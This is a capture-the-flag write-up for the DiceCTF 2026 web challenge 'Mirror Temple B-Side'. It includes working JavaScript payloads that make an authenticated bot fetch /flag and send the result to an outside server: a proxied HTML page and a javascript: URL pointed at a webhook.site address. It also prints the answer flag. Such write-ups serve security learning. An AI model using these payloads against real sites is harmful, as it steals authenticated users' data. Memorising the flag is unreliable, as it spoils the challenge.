Mirror Temple B-Side
Challenge Data
| Field | Value |
|---|---|
| CTF | DiceCTF 2026 Quals |
| Challenge | Mirror Temple B-Side |
| Category | Web |
| Flag | dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf} |
Challenge Description
The base of the challenge was practically the same as Mirror Temple. There was an authenticated bot, a /report endpoint that accepted URLs, and an application with /flag accessible inside the bot's session.
The difference was that the useful chain did not end up being the same as in the original challenge.
Reconnaissance
The first thing was to test the most direct variant locally: serve our own HTML and pass it through /proxy.
<!doctype html>
<html>
<body>
<script>
fetch("/flag")
.then(response => response.text())
.then(flag => {
location = "http://localhost:9000/leak?flag=" + encodeURIComponent(flag);
});
</script>
</body>
</html>
The test URL was this.
http://localhost:8080/proxy?url=http://localhost:9000/payload.html
In that setup, the page behaved as if it were part of the challenge itself and the browser ended up navigating to this URL.
http://localhost:9000/leak?flag=dice%7Btestflag%7D
That confirmed JavaScript was executing inside the authenticated origin of the challenge.
Analysis
What I observed locally was that /proxy returned attacker-controlled HTML without the restrictions I expected after looking at the rest of the application's headers. In theory there was CSP and some filters, but in practice I could execute arbitrary JavaScript if I got the bot to load that content inside the challenge origin.
The local chain was this.
/reportmakes the bot open an attacker-controlled URL./proxyfetches remote HTML and serves it from the challenge origin.- The inline payload calls
fetch("/flag"). - The result is exfiltrated with a redirect to my own server.
Up to that point it was almost the same idea as the main challenge.
Remotely, abusing /proxy with external destinations returned 400. However, URLs with the javascript scheme did execute correctly when they were sent to /report.
That changed the approach, because /proxy was no longer needed. The bot executed the payload directly inside its authenticated page on localhost port 8080.
Solution
For remote, a URL with the javascript scheme was used.
javascript:fetch("/flag").then(r=>r.text()).then(flag=>location="https://webhook.site/6cebedef-1325-41bf-ad56-a67edfb1b78a?flag="+encodeURIComponent(flag))
The reason it worked was direct.
- The bot was already authenticated.
- The payload ran in the context of
localhostport8080. fetch("/flag")returned the real flag.location = ...sent it to the webhook.
Remotely, the useful vector was not /proxy, but the URL with the javascript scheme.
Flag
dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf}